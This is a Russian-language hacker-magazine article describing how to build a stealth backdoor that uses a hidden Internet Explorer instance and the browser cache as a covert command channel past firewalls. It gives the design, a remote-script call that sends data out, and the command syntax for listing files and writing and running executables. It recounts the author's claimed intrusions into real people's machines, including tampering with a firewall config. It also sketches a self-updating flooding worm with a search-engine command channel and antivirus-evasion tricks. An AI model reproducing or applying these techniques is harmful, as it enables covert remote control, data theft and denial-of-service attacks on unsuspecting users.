Очень странное название статьи. Но, приложив немного труда, становится
понятным, что это именно так. Я ни к чему не призываю и ничего никому не навязываю. Это просто небольшое исследование от нечего делать. Эту статью нужно принимать как ненаучно-фантастический рассказ. Никак не распространение вредоносных программ и не плевок в сторону виндоуз. Я не плюю против ветра и мне даже нравится одна из их осей. Может кому-то нижеследующая информация пригодится в познавательных целях. Если ты кроме одного языка ничего не знаешь, привык «сдирать» все подчистую с чужих программ и не хочешь думать (тебе надо все готовое и на халяву) — можешь дальше не читать. Полные исходники я все равно приводить не буду.

Я уже писал об обходе firewall через Internet Explorer. Статью можно найти у меня на странице. Но это простейший клиент. Он может отсылать уже заложенную в него информацию. Ну а если мы не знаем об установленных программах и сервисах на удаленном компьютере? Если нам сначала нужно узнать что и откуда брать? Тогда нужен сервер, способный получать команды и реагировать на них. Это уже backdoor. Но мы не знаем, какой firewall и какая защита стоит. Также нам нужно администрировать и того, кто выходит в инет через локальный прокси. В этом случае открытие порта у него на машине без взлома самого сервака ничего для удаленного администрирования не даст. В этой статье я расскажу как сделать backdoor из простого Internet Explorera. Сама программа не будет работать с сокетами и не ставит хуки на нажатие клавиш и т.п., что отправит отдыхать всякие браундмауэры, программы отлавливания клавиатурных шпионов и прочее. Что нам для этого нужно.

  1. Любой компилятор (лучше такие вещи писать на асме, но я для простоты дам исходники на Delphi с использованием WinAPI — переписать на любой язык не проблема).
  2. Хостинг с возможностью исполнять скрипты.
  3. Простейший скрипт на perl или php, получающий 1 параметр — строку, отправляющий эту строку на мыло и отсылающий броузер на указанный хтм-файл.

Алгоритм программы:

1. Ставит системный hook на WH_CALLWNDPROC (это очень частый хук, срабатывающий на каждый SendMessage, и защитные программы на него не реагируют).

2. В дополнительной dll, в функции обработки hook-а, проверяем запустился ли у нас Internet Explorer или какая другая программа. Если Internet Explorer — посылаем специальное сообщение основной программе.

3. Если основной программе прислано сообщение, то программа запускает скрыто еще один экземпляр Internet Explorer, который вызывает скрипт и засекает время.

4. Если программа опять получает сообщение — идет проверка, не прошло ли 5 секунд после запуска Internet Explorer для того, чтобы броузер успел вызвать скрипт и открыть после этого htm-файл, указанный в скрипте.

5. Если 5 секунд прошло, программа идет в кэш Internet Explorer-а, перебирает все хтм-файлы и ищет файл с последней датой записи и со специальной сигнатурой. Читает из него команду и выполняет ее.

6. После выполнения, программа опять запускает Internet Explorer для получения новой команды и опять засекает время.

Зачем нужно запускать IE именно так? Да чтобы незаметно для юзера было. Так или иначе, юзер сидя в инете запустит IE. К нему «приклеится» наша дополнительная
DLL и пошлет команду основной программе, которая вызовет еще один экземпляр IE. Т.е. запустятся сразу 2 экземпляра. Один открыто, другой скрыто. Особо не заметно. Зачем нужен скрипт? Для обмена данными. Вызывая его нам уходит сообщение и открывается хтм-файл, который будет сохранен IE в своем кэше. Из кэша мы и будем читать команды. 

Пример

Программа при получении первого сообщения передает строку «OK» — готовность к работе. При запуске IE, нам отсылается это сообщение через запуск «C:\Program Files\Internet Explorer\iexplore.exe
http://www.domain.com/cgi-bin/bdie.cgi?message=OK". Мы делаем простейший вот такой хтм-файл:

<html><BODY>BACKDOOR_IE:lp</body></html>

Он заносится в кэш броузера. Программа ищет последние записанные хтм-файлы, считывает из них 24 байта и, если они равны нашей сигнатуре,
(<html><BODY>BACKDOOR_IE:), то считывает дальше до символа <. Это команда. В приведенном примере — это lp(ListProc) — список запущенных процессов. Программа получает список этих самых процессов и передает этот список через
IE. Таким же образом можно посылать команды и с параметрами. Много так не передашь, но кил 30 за раз можно спокойно принять и без проблем отправить килов 10. Можно дописать в программе деление файлов на части и отправку/прием частями. Можно прерывать процессы, как угодно запускать программы, читать из реестра, писать в реестр, передавать файлы. При передаче файлов, нужно еще дополнительно их привести к виду «Num1 Num2 … NumN». Где NumK — K-тый байт файла в строковом виде как шестнадцатеричное число. При приеме такой строки, клиент или сервер считывает по очереди (разделитель — пробел) значения NumK и воссоздает файл. Еще
необходимо удалять из кэша прочитанный файл с командой. 

Премущества:

а) В общем, полный контроль. Без использования сокетов и открытия порта.
б) Эту программу не видно во всяких там netstat и сетевых мониторах.
в) Обмен идет через IE, которому доступ обычно в любом firewall открыт.
г) Работает на компьютерах, выходящих в инет через локальный прокси.
д) Для всех осей семейства виндоуз, выше 95.
е) Для обмена данными не нужно быть в инете — указал команду на сайте и жди пока она выполнится.

Как сказала один раз одна моя знакомая — «Я забыла сопротивляться». Естественно, есть и недостатки. Это не real-time backdoor. Здесь все гораздо медленнее. Но на то он и ишак (я правда в ишаковедении не разбираюсь — может я оскорбляю животное таким сравнением), что галопом не поскачет. Также запуск IE еще не означает, что соединение установлено. Но ведь это и не real-time backdoor — можно подождать, пока произойдет инициализация. И самое главное — в TaskManager-е видно на один
экземпляр IE больше. Но все ведь сейчас продвинутые и их обычно запущенно 3-4. А там, где 3-4, там пятый не сильно заметен. 

Некоторые справочные сведения, нужные для работы программы:

1. Путь к Internet Explorer-у — в системном реестре по адресу
HKLM\SOFTWARE\Microsoft\Windows\Current Version\App Paths\IEXPLORE.EXE в параметре по умолчанию.

2. Путь к кешу текущего пользователя — в системном реестре по адресу
HKLM\SOFTWARE\Microsoft\Windows\Current Version\Internet Settings\Cache\Paths в параметре
Directory.

Теперь исходники. Я не стал выкладывать в этой статье полный BackDoor для IE. Для примера я сделал видимую программу без автозагрузки, без подмены функций WinAPI (для невидимости в TaskManager-е) и без полноценного обмена данными. Программа будет запускаться, создавать
DLL, вызывать хук и ждать запуска IE. После этого программа вызовет указанный в ней url, считает 300 байт с полученного файла и выдаст MessageBox с полученной информацией. Для показа идеи на примерах этого вполне достаточно. Если будут отзывы, то может и продолжу цикл статей с показом полных исходников такой программы. 

Для работы демонстрационной программы, htm-файл должен выглядеть так:

<html><BODY>BACKDOOR_IE:Текст, выведенный MessageBox-ом</body></html>

Этот файл можно разместить где угодно (потом в исходниках надо поменять url). Или можно указать адрес с моей страницы: http://www.danil.com.ua/bdie.htm.

Исходники и пример простейшего скрипта — iebckdr.zip.

Компилируем программу, запускаем. Выходим в инет. Запускаем Internet Explorer. Ждем 6-8 секунд и запускаем еще один экземпляр IE или закрываем этот.

Если ничего не произошло — выпрямляй руки. У меня всё работает. После этого не забудь удалить файл iebd.dll в системном каталоге MS
Windows.

Реальные примеры использования. Вернее, нереальные — все выдумано от начала и до конца.

Случай 1. Повадился мне на страницу один
чудак-хсакеп ходить. То матом письмо напишет, то гостевую попробует зафлудить (там хоть и режим премодерирования, но всё равно неприятно). Хотя программами моими пользовался. Исправно скачивал новые версии и т.д. Таких у меня немало, но как раз ему и «повезло» первому — дописал я почти полноценный бэкдор на описанном выше движке. Я знал (из заголовков писем) только то, что он выходит в инет в какой-то конторе, у которой стоит локальный прокси-сервер. По статистике своего сайта по адресу был определен броузер — ИЕ. После небольших исследований, было выяснено, что это винда (2000 или ХП) и кроме прокси по порту 3128 в ней ничего не стоит. Еще какой-то кажись браундмауэр, все шары закрыты, все патчи поставлены. Я не ксакеп (даже не
претендую) и моих познаний для дальнейшей работы с этим серваком не хватало. Была
задумана небольшая операция. Повествование о том, как я скреплял файлы и сделал таки запуск у него на компе я опущу. Потом от него пришло сообщение. Конечно, можно было сразу встроить дестройные функции, но мне хотелось сделать все загадочно и опробовать придуманное. Дальше была использована последовательность команд:

"sw" — системный каталог винды;
«dr C:\WINDOWS\..\Избранное» — список всех фаворитов;
«sf ‘C:\sys.exe’ 4D 5A 90 0 3 0 0 0 4 ….» — запись небольшого такого файла;
«rn ‘C:\sys.exe'» — запуск.

Через пару дней ему был отослан список всех его фаворитов с наилучшими пожеланиями. После того, как ему поменяли винт, восстановили из бекапа все файлы на общих шарах в локалке и поставили новую ось, он наверное это письмо получил (и будем надеяться больше так делать не будет).

Случай 2. Тут было интересней. Диал-ап. После «lp» — outpost.exe. Далее:

"sw" — системный каталог винды;
«dr C:\» — листинг диска C:\;
«dr C:\Program Files»;
«gf C:\Program Files\Outpost\license.txt» — загрузка файла. По лицензионому файлу я выяснил версию;
«gf C:\Program Files\Outpost\configuration.cfg";

Далее была произведена установка у себя версии Аутпоста 1.0, запись в его каталог configuration.cfg, разбор, что изменяется при добавлении нового правила, настройка на полный доступ файлу <WinSysDir>\nbsystem.exe.
Команды изменения конфигурации аутпоста приводить не буду — их оказалось достаточно много.

"sf ‘C:\WINNT\server.exe’ 4D 5A 90 0 3 0 0 0 4 ….» — запись моего сервера;
«rn ‘C:\WINNT\server.exe'» — запуск.

За разя «прибил» BackDoor для IE. Мой сервер был с оповещением через IE, поэтому шума до перезагрузки не наделал. При следующем запуске системы он уже был в правилах. Полный контроль real-time. Правда ненадолго. Человек в аутпост видно залез через пару дней и увидел, что новое правило стоит и порт открыт. Ну так, я и не делал ничего — проверял только. Хотя за пару дней мог сделать очень много. Тем более, что сервак мог ему и не совать — так как есть админить. Сообщения приходить перестали.

Было и еще пару случаев, но они в принципе все одинаковы. Главное, что это работает. Правда с одним компом пришлось неделю обмениваться данными — на нормальном BackDoor-е это заняло бы не более часа.

Но это все так — игрушки. Теперь рассмотрим другой случай. Мечта любого человека, вышедшего в инет — завалить мелкософтовый сервак :-). Можно заработать деньги на трюмиловке заказанной конторы, как это было с MyDoom. А потом, для скрытия коммерческой деятельности и для души, зафлудить мелкософт. Представим себе такой алгоритм:

1. Пишем червя. Для самораспространения тоже можно использовать Internet Explorer и скрипт отправки сообщений.

2. В него встраиваем описанный выше движок, считывающий команду из htm-файла и начинающий флудить указанный в команде сервер.

3. После флуда — из этого же файла считывается новая версия программы.

Как человек, у которого в базе касперского трехзначное число виров, могу сказать — они уже давно устарели. База раздута до неимоверных пределов. Такого рода программы (еще и на асме) они отлавливают только по куску кода на ОПРЕДЕЛЕННОМ месте. Нету у них на это более лучшего способа. Если начать определение логически, по сокетам, по портам, то в какой-то момент может начать определяться например The Bat!. Таким образом, вставка в раздел данных какой-нибудь константы, длиной 1024 байта приведет к смещению всех переходов и отправит отдыхать все современные антивиры. На самом деле иногда достаточно добавить к имени приложения в данных ОДНУ букву.

Вернемся к нашему алгоритму. После получения команды, программа флудит указанный адрес. А мы через день размещаем новый релиз программы, измененный по описанному выше способу. И программа сама закачивает новую,
не определяющуюся версию для ожидания следующей команды. Конечно, сразу возникает мысль — в
программу вшит адрес для обновления и получения команд. И достаточно закрыть эту страницу. Но ведь мы тоже не пальцем деланные. Мы в программу введем строку-константу, содержащую символы, не складывающиеся в слова и сформированные случайным образом. И еще одну — например «sdfsdfdgtertw». Когда нам нужно инициализировать наш флуд, мы открываем страницу на любом бесплатном хостинге под именем, например etgesdfsdfdgtertwsdfsd.narod.ru. И пишем на этой странице нашу большую строку-константу и команду программе. Регистрируем страницу в yandex.ru. Программа будет формировать запрос поиска на yandex.ru, содержащий большую строку-константу. Даже с учетом, что они продают первые места по любому запросу, наша страница будет в первой десятке. И мы ее найдем по вхождению sdfsdfdgtertw в имени. Откроем и получим команду. Также получим и новый вариант сервера, и новую строку-константу (чтоб к ней не привязались). Все. В дальнейшем будем открывать страницы уже с новой строкой. Пусть yandex.ru закрывают. Думайте сами. Что на этот раз будут говорить касперские — «покупайте наших слонов»? Естественно, в реализации все вышеописанное не так просто — немного пришлось повозиться. Но без труда не выпьешь и водки полведра.

И напоследок. Пользуясь Internet Explorer ты предоставляешь полный контроль над своей машиной. Теперь уже не только мелкософту.

Защита:

1. Перестать пользоваться Internet Explorer.

2. Поставить размер кэша Internet Explorer в 0.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Оставить мнение

Check Also

WWW: Carbon — сервис для создания идеальных скриншотов кода

В теории сделать скриншот кода, чтобы кому-то показать, — задача несложная. В реальности р…